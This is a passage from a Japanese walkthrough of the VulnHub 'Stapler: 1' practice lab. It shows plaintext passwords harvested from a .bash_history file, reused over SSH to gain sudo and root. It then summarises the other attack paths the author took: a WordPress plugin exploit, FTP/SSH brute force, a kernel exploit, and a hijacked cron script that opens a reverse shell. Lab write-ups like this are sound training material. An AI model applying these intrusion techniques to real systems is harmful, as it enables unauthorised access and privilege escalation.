root@red:~# cat /root/python.sh 
#!/bin/bash
su -c 'cd /home/JKanode; python2 -m SimpleHTTPServer 8888 &>/dev/null' JKanode &>/dev/null
root@red:~#
```

`SimpleHTTPServer`を起動させています。`/home/JKanode`ディレクトリを調査してみましょう。`.bash_history`ファイルは重要な痕跡です。

```
root@red:/home/JKanode# ls -al
total 24
drwxr-xr-x  2 JKanode JKanode 4096 Jun  5  2016 .
drwxr-xr-x 32 root    root    4096 Jun  4  2016 ..
-rw-r--r--  1 JKanode JKanode  167 Jun  5  2016 .bash_history
-rw-r--r--  1 JKanode JKanode  220 Sep  1  2015 .bash_logout
-rw-r--r--  1 JKanode JKanode 3771 Sep  1  2015 .bashrc
-rw-r--r--  1 JKanode JKanode  675 Sep  1  2015 .profile
root@red:/home/JKanode# cat .bash_history 
id
whoami
ls -lah
pwd
ps aux
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
ps -ef
top
kill -9 3747
exit
root@red:/home/JKanode#
```

ラッキーなことに、2つのクレデンシャル情報が取得できました。`JKanode/thisimypassword`と`peter/JZQuyIN5`です。
`sudo`権限が付与されていれば、特権昇格の手間を省くことができそうです。まず、`JKanode/thisimypassword`アカウントについて検証してみます。残念ながら、`JKanode is not in the sudoers file.`の結果でした。

```
root@red:/home/JKanode# ssh JKanode@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:WuY26BwbaoIOawwEIZRaZGve4JZFaRo7iSvLNoCwyfA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
JKanode@localhost's password: 
Welcome back!



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

JKanode@red:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for JKanode: 
JKanode is not in the sudoers file.  This incident will be reported.
JKanode@red:~$ 
```

続いて、`peter/JZQuyIN5`アカウントについて検証してみます。

```
root@red:/home/JKanode# ssh peter@localhost
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
peter@localhost's password: 
Welcome back!


This is the Z Shell configuration function for new users,
zsh-newuser-install.
You are seeing this message because you have no zsh startup files
(the files .zshenv, .zprofile, .zshrc, .zlogin in the directory
~).  This function can help you with a few settings that should
make your use of the shell easier.

You can:

(q)  Quit and do nothing.  The function will be run again next time.

(0)  Exit, creating the file ~/.zshrc containing just a comment.
     That will prevent this function being run again.

(1)  Continue to the main menu.

(2)  Populate your ~/.zshrc with the configuration recommended
     by the system administrator and exit (you will need to edit
     the file by hand, if so desired).

--- Type one of the keys in parentheses --- 

Aborting.
The function will be run again next time.  To prevent this, execute:
  touch ~/.zshrc
red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
red% sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: 
➜  peter whoami
root
➜  peter 
```

`peter/JZQuyIN5`アカウントには、`sudo`権限が付与されていることが確認できました。

# まとめ
「[Stapler: 1](https://www.vulnhub.com/entry/stapler-1,150/)」は、複数のアプローチと、`rabbit holes`が仕掛けられていました。
一般ユーザのアクセス権取得に関する2つのアプローチと、特権昇格に関する3つの方法について確認しました。

## 一般ユーザのアクセス権取得
* WordPressのプラグインに関する脆弱性（[EDB-ID: 39646](https://www.exploit-db.com/exploits/39646)）を特定し、`MySQL`に関するクレデンシャル情報を取得しました。
* FTPサービスに対するブルートフォース攻撃を仕掛け、`/etc/passwd`ファイルを取得しました。`/etc/passwd`ファイルをリストにしてSSHサービスにブルートフォース攻撃を仕掛け、脆弱なアカウントのパスワードを取得しました。

## 特権昇格
1. `searchsploit`コマンドを使って脆弱性（[EDB-ID: 39772](https://www.exploit-db.com/exploits/9542)）を特定し、特権昇格を行いました。
2. `cron job`が呼び出すシェルスクリプト`cron-logrotate.sh`を改変しリバースシェルを立ち上げ、特権昇格を行いました。
3. `.bash_history`ファイルから`sudo`権限が付与されたクレデンシャル情報を取得し、特権昇格を行いました。